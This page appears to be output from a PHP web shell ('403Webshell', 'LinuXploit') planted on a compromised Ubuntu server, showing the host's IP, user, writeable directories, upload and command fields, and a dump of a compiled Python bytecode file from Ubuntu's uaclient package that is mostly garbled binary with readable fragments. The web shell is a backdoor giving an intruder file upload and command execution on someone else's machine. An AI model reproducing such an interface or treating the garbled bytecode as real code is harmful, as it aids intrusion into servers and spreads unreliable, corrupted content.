403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/uaclient/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/uaclient/__pycache__/system.cpython-314.pyc
+
���gyp����^RIt^RIt^RIt^RIt^RIt^RIt^RIt^RIt^RIt^RI	t	^RI
t
^RIHt^RI
Ht^RIHtHtHtHtHtHtHt^RIHtHtHtRtRtRtR	tR
t]P@!]PB!]"44t#Rt$Rt%]!R
R]PL3R]PL3R]'3R]'3R]'3.4t(]!RR]'3R]'3R]]P,3R]]',3R]]),3R]]),3R]]),3R]]',3R]]',3.	4t*]!RR]'3R]'3R]'3R]'3.4t+]!R R!]]',3R"]]',3R#]]',3R$]]',3R%]]',3R&]]',3R']]',3R(]]',3R)]]',3R*]]',3R+]]',3R,]]',3R-]]',3R.]]',3.4t,]!R/R0]]]',,3R1]]]',,3.4t-R2t.R3R4lt/R5R6lt0]!RR77R8R9l4t1R:t2]!RR77R;R<l4t3]!RR77R=R>l4t4]!RR77R?R@l4t5]!RR77RARBl4t6]!RR77RCRDl4t7]!RR77RERFl4t8]!RR77RGRHl4t9]!RR77RIRJl4t:]!RR77RKRLl4t;]!RR77RMRNl4t<]!RR77RsRORPll4t=]!RR77RQRRl4t>]!RR77RSRTl4t?]!RR77RURVl4t@RWRXltARtRYRZlltBR[R\ltCR]R^ltDRuR_R`lltERvRaRblltFRcRdltGRwReRflltHRxRgRhlltIRiRjltJRkRlltKRmRnltLRoRpltMRqRrltNR#)y�N)�	lru_cache)�rmtree)�Dict�List�
NamedTuple�Optional�Sequence�Set�Tuple)�defaults�
exceptions�utilz/var/run/reboot-requiredz/var/run/reboot-required.pkgsz/etc/machine-idz/var/lib/dbus/machine-idz!/usr/share/distro-info/ubuntu.csvz5(?P<release>\d+\.\d+) (LTS\s*)?(\((?P<series>\w+))?.*zd^(?P<major>[\d]+)[.-](?P<minor>[\d]+)[.-](?P<patch>[\d]+)-(?P<abi>[\d]+)-(?P<flavor>[A-Za-z0-9_-]+)$�
DistroInfo�eol�eol_esm�series�release�series_codename�
KernelInfo�uname_machine_arch�
uname_release�
build_date�proc_version_signature_version�major�minor�patch�abi�flavor�ReleaseInfo�distribution�pretty_version�CpuInfo�cpuinfo_cpu�cpuinfo_cpu_architecture�cpuinfo_cpu_family�cpuinfo_cpu_implementer�cpuinfo_cpu_part�cpuinfo_cpu_revision�cpuinfo_cpu_variant�
cpuinfo_model�cpuinfo_model_name�cpuinfo_stepping�cpuinfo_vendor_id�"sys_firmware_devicetree_base_model�
sysinfo_model�sysinfo_type�RebootRequiredPkgs�standard_packages�kernel_packagesz(Mon|Tue|Wed|Thu|Fri|Sat|Sun).*c�n�V^8�dQhR\PR\\P,/#���uname�return��os�uname_resultr�datetime)�formats"�1/usr/lib/python3/dist-packages/uaclient/system.py�__annotate__r?qs+����
�?�?��
�h��� ��c��\4'd\PR4R#\PR4\P!RPVP44p\PPVP\PP4# \d\PR4R#i;i)zPNot attempting to use timestamp of kernel changelog because we're in a containerNz3Falling back to using timestamp of kernel changelogz1/usr/share/doc/linux-image-{}/changelog.Debian.gzzUnable to stat kernel changelog)
�is_container�LOG�warningr:�statr=rr<�
fromtimestamp�st_mtime�timezone�utc�	Exception)r7�stat_results& r>�_get_kernel_changelog_timestamprLqs����~�~����
5�	
���K�K�E�F���g�g�?�F�F��
�
�
�
��
� � �.�.�� � �(�"3�"3�"7�"7�
�	
�������5�6���s�A0B/�/ C�Cc�n�V^8�dQhR\PR\\P,/#r5r9)r=s"r>r?r?�s+����
�?�?��
�h��� �r@c���\P!\VP4pVf!\PR4\
V4#VP^4p\PPVR4pTPf+TP\PPR7pT# \d$\PR4\
T4u#i;i)Nz*Unable to find build date in uname versionz%a %b %d %H:%M:%S %Z %Yz-Unable to parse build date from uname version)�tzinfo)�re�search�RE_KERNEL_EXTRACT_BUILD_DATE�versionrCrDrL�groupr<�strptime�
ValueErrorrO�replacerHrI)r7�
date_match�date_str�dts&   r>�_get_kernel_build_dater[�s������7����G�J������@�A�.�u�5�5�����"�H�6�
�
�
�
'�
'��2K�
L��
�y�y���Z�Z�x�0�0�4�4�Z�
5��
�I���6����C�D�.�u�5�5�6�s� B6�6+C$�#C$)�maxsizec�$�V^8�dQhR\/#�r6r8)r)r=s"r>r?r?�s��&
�&
��&
r@c
���Rp\R4pVP4^,p\
P!4pVPP4p\V4pVPP4p\P!\V4pVf+\P	RV4\VVVVRRRRRR7	#\VVVV\VP!R44\VP!R44\VP!R44VP!R4VP!R	4R7	# \d\P	R4EL:i;i)
Nz/proc/version_signaturez*failed to process /proc/version_signature.zFailed to parse kernel: %s)	rrrrrrrrrrrrrr)�	load_file�splitrJrCrDr:r7�machine�stripr[rrP�match�RE_KERNEL_UNAMEr�intrT)r�proc_version_signature_fullr7rrr�uname_matchs       r>�get_kernel_infori�sG��%)�"�B�&/�0I�&J�#�)D�)J�)J�)L�Q�)O�&�
�H�H�J�E����,�,�.��'��.�J��M�M�'�'�)�M��(�(�?�M�:�K������0�-�@��1�'�!�+I������

�
	
��1�'�!�+I��k�'�'��0�1��k�'�'��0�1��k�'�'��0�1��!�!�%�(��$�$�X�.�

�
	
��/�B����@�A�B�s�"D=�= E!� E!c���^RIHp\P!4'g\	R4hV!4Uu.uFpRV9gKVNK	pp\
P
!R4Uu.uF pR\
RV.4^,9gKVNK"	ppVUu.uFqU\R4RNK	ppVUu.uFpV\R4RNK	ppVU	u.uF
p	W�9gKV	NK	up	#uupiuupiuupiuupiuup	i)	r)�get_installed_packages_namesz9get_installed_ubuntu_kernels needs to be executed as rootzlinux-image-z/boot/vmlinu[x|z]-*zLinux kernel�fileNz/boot/vmlinu?-)�uaclient.aptrkr�we_are_currently_root�RuntimeError�glob�subp�len)
rk�package�linux_imagerl�vmlinux_kernel_files�package_name�linux_image_versions�	file_name�vmlinuz_versionsrSs
          r>�get_installed_ubuntu_kernelsrz�s5��9��%�%�'�'��G�
�	
�4�5��5�G��W�$�	��5����I�I�3�4��4�D��T�6�4�.�1�!�4�4�	
��4���AL��@K��S��(�*�+����
.��-�I�	�#�&�'�)�*�-���(��'�G��*�	��'����'��
������
s/�	C�C�$C$�C$�C)�,C.�	C3�C3c�$�V^8�dQhR\/#r^��str)r=s"r>r?r?�s����s�r@c�@�\RR.4wrVP4#)�dpkgz--print-architecture)rqrc)�out�_errs  r>�
get_dpkg_archr��s ���f�4�5�6�I�C��9�9�;�r@c�$�V^8�dQhR\/#r^r|)r=s"r>r?r?�s����s�r@c���\R.4wrVP4# \Pd?\	R4pRT9gRT9dR#RT9dR#R# \
dR#i;ii;i)�systemd-detect-virtz/proc/1/cgroup�docker�buildkit�buildah�podman�)rqrcr
�ProcessExecutionErrorr`rJ)r��_�
proc_1_cgroups   r>�
get_virt_typer��sz����,�-�.����y�y�{����+�+�
�		�%�&6�7�M��=�(�J�-�,G���m�+�����	��	��
�s,� �A3�A�A�A/�*A3�.A/�/A3c�$�V^8�dQhR\/#r^)r")r=s"r>r?r?
s��9�9�g�9r@c��RpRpRp/p/pRp\V4pVPR4p\RV4R4pVPR4F@p	RV	9gKV	PR^4wr�VP4W:P4&KB	\V4pVPR4F@p	RV	9gKV	PR^4wr�VP4WJP4&KB	\V4p\VPR
4VPR4VPR4VPR
4VPR4VPR4VPR4VPR4VPR4VPR4VPR4VVPR4VPR4R7# \d)\
P
R	PT44EL{i;i \d)\
P
R	PT44ELPi;i \d)\
P
R	PT44ELzi;i)z
/proc/cpuinfoz
/proc/sysinfoz#/sys/firmware/devicetree/base/modelNz

c3�V"�TFqPR4'gKVx�K!	R#5i)�	processorN)�
startswith)�.0�ss& r>�	<genexpr>�get_cpu_info.<locals>.<genexpr>s���F�(�1�L�L��,E�Q�Q�(�s�)�
)r��
�:zcould not open {}�cpuzCPU architecturez
cpu familyzCPU implementerzCPU partzCPU revisionzCPU variant�modelz
model name�stepping�	vendor_id�Model�Type)r#r$r%r&r'r(r)r*r+r,r-r.r/r0)
r`ra�nextrc�FileNotFoundErrorrC�infor=r"�get)
�CPUINFO_FILE�SYSINFO_FILE�DEVICETREE_FILE�cpuinfo_values�sysinfo_values�devicetree_base_model�cpuinfo_content�cpuinfo_sections�first_cpu_content�line�key�value�sysinfo_contents
             r>�get_cpu_infor�	sC��"�L�"�L�;�O��N��N� ��<�#�L�1��+�0�0��8�� �F�(�F��
��&�+�+�D�1�D��d�{�!�Z�Z��Q�/�
��.3�k�k�m��y�y�{�+�2�
<�#�L�1��$�)�)�$�/�D��d�{�!�Z�Z��Q�/�
��.3�k�k�m��y�y�{�+�0�
>� )�/� :���"�&�&�u�-�!/�!3�!3�4F�!G�)�-�-�l�;� .� 2� 2�3D� E�'�+�+�J�7�+�/�/��?�*�.�.�}�=�$�(�(��1�)�-�-�l�;�'�+�+�J�7�(�,�,�[�9�+@�$�(�(��1�#�'�'��/����?�;����$�+�+�L�9�:�;��$�;����$�+�+�L�9�:�;���>����$�+�+�O�<�=�>�s5�G�H�4I�/H�
H�/I�I�/I:�9I:c�$�V^8�dQhR\/#r^r|)r=s"r>r?r?Gs����3�r@c��^RIHp^RIHpVP	4pVP'd6VPPR/4PR4pV'dV#VP
4p\\3FPp\PPV4'gK*\V4PR4pV'gKNVu#	V'dV#\\P !44pVP#V4V#)z�
Get system's unique machine-id or create our own in data_dir.
We first check for the machine-id in machine-token.json before
looking at the system file.
)�
machine_token)�machine_id_file�machineTokenInfo�	machineIdr�)�uaclient.filesr��uaclient.files.state_filesr��get_machine_token_filer��read�ETC_MACHINE_ID�DBUS_MACHINE_IDr:�path�existsr`�rstripr}�uuid�uuid4�write)�cfgr�r��machine_token_file�
machine_id�fallback_machine_idr��contents&       r>�get_machine_idr�Fs���-�:�&�=�=�?���'�'�'�'�5�5�9�9���
�

�#�k�
�	����)�.�.�0����1��
�7�7�>�>�$�����o�,�,�T�2�G��w���	2��"�"��T�Z�Z�\�"�J����*�%��r@c�$�V^8�dQhR\/#r^)r)r=s"r>r?r?is����+�r@c��\4pVPRR4p\P!RRVPRR44pVPRR4pVPRR4pV'd	V'g�\P!\
V4pV'g)\P!VPRR4VR7hVP4pT;'gVPR	R4pV'g\P!VR
7hT;'gVPRR4p\VVVP4VR7#)
�NAME�UNKNOWNz\.\d LTSz LTS�VERSIONr��VERSION_CODENAME�
VERSION_ID)�orig_ver�mod_verr)rSr)r rrr!)�_parse_os_releaser�rP�subrd�REGEX_OS_RELEASE_VERSIONr
�ParsingErrorOnOSReleaseFile�	groupdict�MissingSeriesOnOSReleaseFiler�lower)�
os_releaser r!rrrd�
match_dicts       r>�get_release_infor�hs��"�$�J��>�>�&�)�4�L��V�V�K�����	�2�1N�O�N�
�^�^�.��
3�F��n�n�\�2�.�G������1�>�B����8�8�#���	�2�6���
��_�_�&�
��7�7�:�>�>�(�B�7����9�9�&��
��:�:�Z�^�^�I�r�:���!���|�|�~�%�	�r@c�0�V^8�dQhR\R\/#�r6rr8�r}�bool)r=s"r>r?r?�s����3��4�r@c�(�\RR.4wrW9#)�/usr/bin/ubuntu-distro-infoz--supported-esm�rq�rr�r�s&  r>�is_ltsr��s���3�5F�G�H�I�C��=�r@c�$�V^8�dQhR\/#r^�r�)r=s"r>r?r?�s��-�-�t�-r@c�<�\\4P4#�N)r�r�r�r@r>�is_current_series_ltsr��s���"�$�+�+�,�,r@c�0�V^8�dQhR\R\/#r�r�)r=s"r>r?r?�s�������r@c�(�\RR.4wrW9#)r�z--supportedr�r�s&  r>�is_supportedr��s���3�]�C�D�I�C��=�r@c�0�V^8�dQhR\R\/#r�r�)r=s"r>r?r?�s����#��$�r@c�f�\V4'gR#\RRVR.4wr\V4^8*#)zCReturn True when Ubuntu series supports ESM and is actively in ESM.Fr�z--seriesz-yeol)r�rqrfr�s&  r>�
is_active_esmr��s8���&�>�>���	&�
�F�G�D��I�C��s�8�q�=�r@c�$�V^8�dQhR\/#r^r�)r=s"r>r?r?�s��4�4�d�4r@c�<�\\4P4#r�)r�r�rr�r@r>�is_current_series_active_esmr��s���)�+�2�2�3�3r@c�0�V^8�dQhR\R\/#)r6�run_pathr8r�)r=s"r>r?r?�s����3��D�r@c�H�\R.4R# \PdMi;i\.RO4R# \\3dMi;iRFJp\
PPY4p\
PPT4'gKIR#	R#)z>Checks to see if this code running in a container of some sort�ischrootFT)r��--quietz--container)�container_typezsystemd/container)	rqr
r��IOError�OSErrorr:r��joinr�)r��filenamer�s&  r>rBrB�s���
��j�\�����+�+�
��
��
��
>�?����W��
��
��<���w�w�|�|�H�/��
�7�7�>�>�$����<�s��(�(�
;�A�Ac�$�V^8�dQhR\/#r^r�)r=s"r>r?r?�s��
�
�D�
r@c�h�^RIHpVP4FpRVP9gKR#	R#)z�Returns True if any package installed has "ubuntu-desktop" in the name.

This includes ubuntu-desktop, ubuntu-desktop-minimal, kubuntu-desktop, etc.
)�aptzubuntu-desktopTF)�uaclientr�get_installed_packages�name)rrss  r>�
is_desktopr�s.����-�-�/���w�|�|�+��0�r@c�F�V^8�dQhR\\\3,/#r^)rr})r=s"r>r?r?�s��
�
�4��S��>�
r@c��\R4p/pVP4FBpVPR^4wr4V'gK!VP	4P	R4W&KD	V# \d\R4pLri;i)z/etc/os-releasez/usr/lib/os-release�=�")r`r��
splitlinesrarc)�
file_contents�datar�r�r�s     r>r�r��s~��9�!�"3�4�
��D��(�(�*���Z�Z��Q�'�
���5����
�+�+�C�0�D�I�+��K���9�!�"7�8�
�9�s�A'�'B�?Bc�0�V^8�dQhR\R\/#r�)r}r)r=s"r>r?r?�s��B�B�C�B�J�Br@c�d�\\4P4pTF�pTP
R4pT^,T8XgK$TR8XdRpM RT^,9d
T^,MT^,p\T^,T^,T^,\PPT^,R4P4\PPTR4P4R7u#	\P!TR7h \d\P
!4hi;i)�,�xenialz
2026-04-23�LTSz%Y-%m-%d)rrrrr)r)r`�DISTRO_INFO_CSVr
r�r
�MissingDistroInfoFilerarr<rU�date�MissingSeriesInDistroInfoFile)r�linesr��valuesrs&    r>�get_distro_infor�s���1��/�*�5�5�7�������C����!�9�����!�&��',��q�	�'9�&��)�v�a�y����q�	� &�q�	��a�y��%�%�.�.�v�a�y�*�E�J�J�L� �)�)�2�2�7�J�G�L�L�N��
���
2�
2�&�
A�A��#�1��.�.�0�0�1�s�D�!D/c�F�V^8�dQhR\R\\,/#)r6�programr8�r}r)r=s"r>r?r?�s����3��8�C�=�r@c��\PPV9d\V4'dV#\PPRR4P
\P4Uu.uFqPR4NK	ppVUu.uF"p\PPV4NK$	ppVF7p\PPW@4p\V4'gK5Vu#	R#uupiuupi)z;Find whether the provided program is executable in our PATH�PATHr�r	N)r:r��sep�is_exe�environr�ra�pathseprc�abspathr�)r�p�paths�normalized_pathsr��program_paths&     r>�whichr'�s���	�w�w�{�{�g���'�?�?��N� �j�j�n�n�V�R�8�>�>�r�z�z�J�
�J������J�
�
�5:�:�E�q�������*�E��:� ���w�w�|�|�D�2���,�����!���
��;s�2C:�(C?c��V^8�dQhR\\\,,R\\\,,R\/#)r6�installed_pkgs�installed_pkgs_regexr8)rr
r}r�)r=s"r>r?r?	s8��3�3��S��X�&�3�"�3�s�8�,�3�
�3r@c��\PP\4'gR#VfVfR#\	\\4PR44pTe"\TPT44^8wdR#Te3TF,pTF#p\P!YC4'gK!R#	K.	R# \dR#i;i)a�Check if the system needs to be rebooted.

:param installed_pkgs: If provided, verify if the any packages in
    the list are present on /var/run/reboot-required.pkgs. If that
    param is provided, we will only return true if we have the
    reboot-required marker file and any package in reboot-required.pkgs
    file. When both installed_pkgs and installed_pkgs_regex are
    provided, they act as an OR, so only one of the two lists must have
    a match to return True.
:param installed_pkgs_regex: If provided, verify if the any regex in
    the list matches any line in /var/run/reboot-required.pkgs. If that
    param is provided, we will only return true if we have the
    reboot-required marker file and any match in reboot-required.pkgs
    file. When both installed_pkgs and installed_pkgs_regex are
    provided, they act as an OR, so only one of the two lists must have
    a match to return True.
FTr�)
r:r�r��REBOOT_FILE_CHECK_PATH�setr`�REBOOT_PKGS_FILE_PATHrar�rr�intersectionrPrQ)r)r*�reboot_required_pkgs�pkg_name�	pkg_regexs&&   r>�
should_rebootr3	s���0�7�7�>�>�0�1�1����"6�">���"��+�,�2�2�4�8� 
���!��~�*�*�+?�@�A�Q�F���'�,�H�1�	��9�9�Y�1�1��2�-�
������s�'B;�;C
�	C
c�0�V^8�dQhR\R\/#)r6r�r8r�)r=s"r>r?r??s��=�=��=��=r@c��\PPV4;'d&\P!V\P4#r�)r:r��isfile�access�X_OK)r�s&r>rr?s,��
�7�7�>�>�$��<�<�B�I�I�d�B�G�G�$<�<r@c�0�V^8�dQhR\R\/#)r6r�r8r|)r=s"r>r?r?Ds��

�

��

��

r@c� �\VR4;_uu_4p\PRV4VP4pRRR4XP	R4# +'giL";i \
d\P!TRR7hi;i)z!Read filename and decode content.�rbzReading file: %sN�utf-8)rx�
file_encoding)�openrC�debugr��decode�UnicodeDecodeErrorr
�InvalidFileEncodingError)r��streamr�s&  r>r`r`Dsu��	
�h��	�	���	�	�$�h�/��+�+�-��
�
��~�~�g�&�&�	
�	��
�
��1�1��g�
�	
�
�s�'A�A)�A&	�)$B
c�4�V^8�dQhR\R\RR/#)r6r��moder8N)r}rf)r=s"r>r?r?Qs!����#��S��T�r@c��\PRV4\P!\PPV4RR7\P!V4P4\P!W4R#)zCreating file: %sT��exist_okN)
rCr?r:�makedirsr��dirname�pathlib�Path�touch�chmod)r�rEs&&r>�create_filerOQsM���I�I�!�8�,��K�K�������)�D�9��L�L��� � �"��H�H�X�r@c�V�V^8�dQhR\R\R\\,RR/#)r6r�r�rEr8N)r}rrf)r=s"r>r?r?Xs0��(�(��(��(�'/��}�(�	�(r@c��Rp\PPV4pV'dL\P!V4P4p\
P!VP4pVfTpMVfRp\P!\PPV4RR7\P!RR\PPV4R7p\PRWP4VPVP!R	44VP#4VP%4\P&!VPV4V'd7\P(!VPXP*VP,4\P.!VPV4R# \0d,pTe!\P2!TP4ThRp?ii;i)
aGWrite content to the provided filename encoding it if necessary.

We preserve the file ownership and permissions if the file is present
and no mode argument is provided.

@param filename: The full path of the file to write.
@param content: The content to write to the file.
@param mode: The filesystem mode to set on the file.
N�TrG�wbF)rE�delete�dirz*Writing file %s atomically via tempfile %sr<)r:r�r6rKrLrE�S_IMODE�st_moderIrJ�tempfile�NamedTemporaryFilerCr?rr��encode�flush�closerN�chown�st_uid�st_gid�renamerJ�unlink)r�r�rE�tmpf�is_file_present�	file_stat�f_mode�es&&&     r>�
write_filergXsT���D��g�g�n�n�X�.�O���L�L��*�/�/�1�	����i�/�/�0���<��D��	
�����
���B�G�G�O�O�H�-��=��*�*��e�������)B�
��	�	�	�8�(�I�I�	
�	
�
�
�7�>�>�'�*�+��
�
���
�
��
������D�!���H�H�T�Y�Y�	� 0� 0�)�2B�2B�C�
�	�	�$�)�)�X�&�������I�I�d�i�i� �����s�<EG	�	G?�&G:�:G?c�(�V^8�dQhR\RR/#)r6�	file_pathr8Nr|)r=s"r>r?r?�s��K�K�#�K�$�Kr@c��\P!V4\PRV4R# \d\PRT4R#i;i)z<Remove a file if it exists, logging a message about removal.zRemoved file: %sz*Tried to remove %s but file does not existN)r:rarCr?r�)ris&r>�ensure_file_absentrk�sC��K�
�	�	�)���	�	�$�i�0���K��	�	�>�	�J�K�s�,0�!A�Ac��V^8�dQhR\\,R\\\,,R\
R\\,R\\\\3,,R\
R\\\3,/#)r6�args�rcs�capture�timeout�override_env_vars�pipe_stdouterrr8�	r	r}rrrfr��floatrr)r=s"r>r?r?�s}��U"�U"�
�3�-�U"�	�$�s�)�	�U"��U"��e�_�	U"�
 ��S�#�X��/�U"��
U"��3��8�_�U"r@c�4�VUu.uF,p\V\4'dTMVPR4NK.	ppRpRp	/p
V'd'\Pp\Pp	RRRR/p
Vf/p/\
PCV
CVCpVf^.p\P!RPV44p\P!VVV	VR7p
V
PVR7wr�T'dTPRR	R
7MRpT'dTPRR	R
7MRpT
P T9d%\P!TT
P TTR7hT'd#\$P'RTT
P T4TT3#uupi \d�X'dTPRR	R
7MRpX'dTPRR	R
7MRp\P!TX
P TTR7h \"d\P!TR
7hi;ii;i)a�Run a command and return a tuple of decoded stdout, stderr.

@param args: A list of arguments to feed to subprocess.Popen
@param rcs: A list of allowed return_codes. If returncode not in rcs
    raise a ProcessExecutionError.
@param capture: Boolean set True to log the command and response.
@param timeout: Optional float indicating number of seconds to wait for
    subp to return.
@param override_env_vars: Optional dictionary of environment variables.
    If None, the current os.environ is used for the subprocess.
    If defined, these env vars get merged with the current process'
    os.environ for the subprocess, overriding any values that already
    existed in os.environ.

@return: Tuple of utf-8 decoded stdout, stderr
@raises ProcessExecutionError on invalid command or returncode not in rcs.
@raises subprocess.TimeoutError when timeout specified and the command
    exceeds that number of seconds.
r<N�LANGzC.UTF-8�LC_ALL� )�stdout�stderr�env)rp�ignore)�errorsr�)�cmd�	exit_coderyrz)r~zRan cmd: %s, rc: %s stderr: %s)�
isinstance�bytesrZ�
subprocess�PIPEr:r r�redact_sensitive_logsr��Popen�communicater�r@r
r��
returncode�UnboundLocalErrorrCr?)rmrnrorprqrr�x�
bytes_argsryrz�set_lang�
merged_env�redacted_cmd�procr��err�
out_result�
err_results&&&&&&            r>�_subpr��s��8CG��BF�Q�Z��5�
!�
!��q�x�x��'8�8�$����F�
�F��H�����������I�x��;��� ���@�B�J�J�@�(�@�.?�@�J�
�{��c���-�-�c�h�h�t�n�=�L�E��������	
���%�%�g�%�6�
��:=����G�H��5�"�J�9<����G�H��5�"�J����c�!��.�.���o�o���	
�	
���	�	�,���O�O��		
��z�!�!��u��:�E�
	E�AD����G�H��=�"�J�AD����G�H��=�"�J��2�2� ��/�/�!�!�	�
��!�	E��2�2�|�D�D�	E��E�s/�2F�6.F�H�G0�G0�79G0�0#H�Hc�V�V^8�dQhR\\,R\\\,,R\
R\\,R\\\,,R\\\\3,,R\
R\\\3,/#)	r6rmrnrorp�retry_sleepsrqrrr8rs)r=s"r>r?r?�s���5�5�
�3�-�5�	�$�s�)�	�5��5��e�_�	5�
�4��;�'�5� ��S�#�X��/�
5��5��3��8�_�5r@c	��VeVP4MRp\VVVVVVR7wrxWx3# \Pd�p	T'dJ\P\
T	44\PRT	PT	P4T'gh\P\
T	44\PR\T44\P!TP^44Rp	?	K�Rp	?	ii;i)a�Run a command and return a tuple of decoded stdout, stderr.

 @param subp: A list of arguments to feed to subprocess.Popen
 @param rcs: A list of allowed return_codes. If returncode not in rcs
     raise a ProcessExecutionError.
 @param capture: Boolean set True to log the command and response.
 @param timeout: Optional float indicating number of seconds to wait for a
     subp call to return.
 @param retry_sleeps: Optional list of sleep lengths to apply between
    retries. Specifying a list of [0.5, 1] instructs subp to retry twice
    on failure; sleeping half a second before the first retry and 1 second
    before the next retry.
 @param override_env_vars: Optional dictionary of environment variables.
    If None, the current os.environ is used for the subprocess.
    If defined, these env vars get merged with the current process'
    os.environ for the subprocess, overriding any values that already
    existed in os.environ.

@return: Tuple of utf-8 decoded stdout, stderr
@raises ProcessExecutionError on invalid command or returncode not in rcs.
@raises subprocess.TimeoutError when timeout specified and the command
    exceeds that number of seconds.
N)rqrrzStderr: %s
Stdout: %szRetrying %d more times.)�copyr�r
r�rCr?r}rDrzryrr�time�sleep�pop)
rmrnrorpr�rqrrr�r�rfs
&&&&&&&   r>rqrq�s���@+7�*B�<�$�$�&��L�
�	,������"3�-�
�H�C�
��8�O���/�/�	,���	�	�#�a�&�!����4�a�h�h����I����I�I�c�!�f���I�I�/��\�1B�C��J�J�|�'�'��*�+�+��	,�s�0�D�AD�A#D�Dc�(�V^8�dQhR\RR/#)r6�folder_pathr8Nr|)r=s"r>r?r?s��O�O�c�O�d�Or@c��\V4\PRV4R# \d\PRT4R#i;i)zRemoved folder: %sz,Tried to remove %s but folder does not existN)rrCr?r�)r�s&r>�ensure_folder_absentr�s?��O��{���	�	�&��4���O��	�	�@�+�N�O�s�!%�!A
�	A
c�0�V^8�dQhR\R\/#�r6�service_namer8r�)r=s"r>r?r?$s�������r@c�^�\RRRV.4R# \PdR#i;i)aB
Get if the systemd job is active in the system. Note that any status
different from "active" will make this function return False.
Additionally, if the system doesn't exist we will also return False
here.

@param service_name: Name of the systemd job to look at

@return: A Boolean specifying if the job is active or not
�	systemctlz	is-activer�FT)rqr
r�)r�s&r>�is_systemd_unit_activer�$s7����k�;�	�<�
@�A����+�+����s��,�,c�F�V^8�dQhR\R\\,/#r�r)r=s"r>r?r?6s��������
�r@c�Z�\RRRRV.4wrV'd>VPR4'd'VPR4^,P4#\PRV4R	# \Pd$p\PRTTR7R	p?R	#R	p?ii;i)
r��showz--property=ActiveStatez
--no-pagerzActiveState=rz9Couldn't find ActiveState in systemctl show output for %sz-Failed to get ActiveState for systemd unit %s)�exc_infoN)rqr�rarcrCrDr
r�)r�r�r�rfs&   r>�get_systemd_unit_active_stater�6s���
����(���
�
����3�>�>�.�1�1��9�9�S�>�!�$�*�*�,�,��K�K�K��
���
�+�+�
����;���	�	
�	
�
��

�s"�0A2�%A2�A2�2B*�B%�%B*c�$�V^8�dQhR\/#r^r|)r=s"r>r?r?Qs��
�
�C�
r@c��\P!4'd\P#\P
P
R4pV'd/\PPV\P4#\PP\PPR4R\P4#)�XDG_CACHE_HOME�~z.cache)rrnr�UAC_RUN_PATHr:r r�r�r��USER_CACHE_SUBDIR�
expanduser)�xdg_cache_homes r>�get_user_cache_dirr�Qs���!�!�#�#��$�$�$��Z�Z�^�^�$4�5�N���w�w�|�|�N�H�,F�,F�G�G�
�7�7�<�<�
�����3���8�+E�+E��r@c�:�V^8�dQhR\\,/#r^)rr1)r=s"r>r?r?^s����(�+=�">�r@c�>�\\4p.p.pRpTP4FCp\P
!Y44'dTP
T4K2TP
T4KE	\\T4\T4R7# \dR#i;i)Nz^(linux-image|linux-base).*)r2r3)	r`r.r�rarPrd�appendr1�sorted)�pkg_list_strr2r3�kernel_regex�pkgs     r>�get_reboot_required_pkgsr�^s���� �!6�7�����O�0�L��!�!�#��
�8�8�L�&�&��"�"�3�'��$�$�S�)�	$�� �!2�3���/��������s�B
�
B�B)z/run)NN)rRr�)NFNNT)NFNNNT)Or<rp�loggingr:rKrPrEr�rXr�r��	functoolsr�shutilr�typingrrrrr	r
rrrr
rr,r.r�r�r�	getLogger�replace_top_level_logger_name�__name__rCr�rerr}rrfrrr"r1rRrLr[rirzr�r�r�r�r�r�r�r�r�r�rBrr�rr'r3rr`rOrgrkr�rqr�r�r�r�r�r�r@r>�<module>r�sO�����	��	��������I�I�I�/�/�3��7��"��,��5��
����:�:�8�D�E��=��

	����	��
�
��	�H�M�M�"�	�3��	�C��	�C� ��	�
���	�s�#�	�#��	�x�� 1� 1�2�3�	)�8�C�=�9�	�(�3�-� �	�(�3�-� �	�(�3�-� �	���
��	�8�C�=�!�
�
�
���	���	�C��	�3��	�3��	����
�	���
�&�	#�X�c�]�3�	�x��}�-�	"�H�S�M�2�	�X�c�]�+�	��#��/�	���
�.�	�(�3�-�(�	�x��}�-�	�X�c�]�+�	�h�s�m�,�	-�x��}�=�	�(�3�-�(�	��#��'����( ��	�h�t�C�y�1�2�	�H�T�#�Y�/�0���� B���4�(�4��&
��&
�V �F�4�����
�4�����(�4��9��9�x�4�����B�4�����>�4�����
�4��-��-��4�����
�4������4��4��4��4�����4�4��
��
��4��
��
��4��B��B�.�"3�l=�


��(�VK�U"�p5�pO��$�6
�r@

Youez - 2016 - github.com/yon3zu
LinuXploit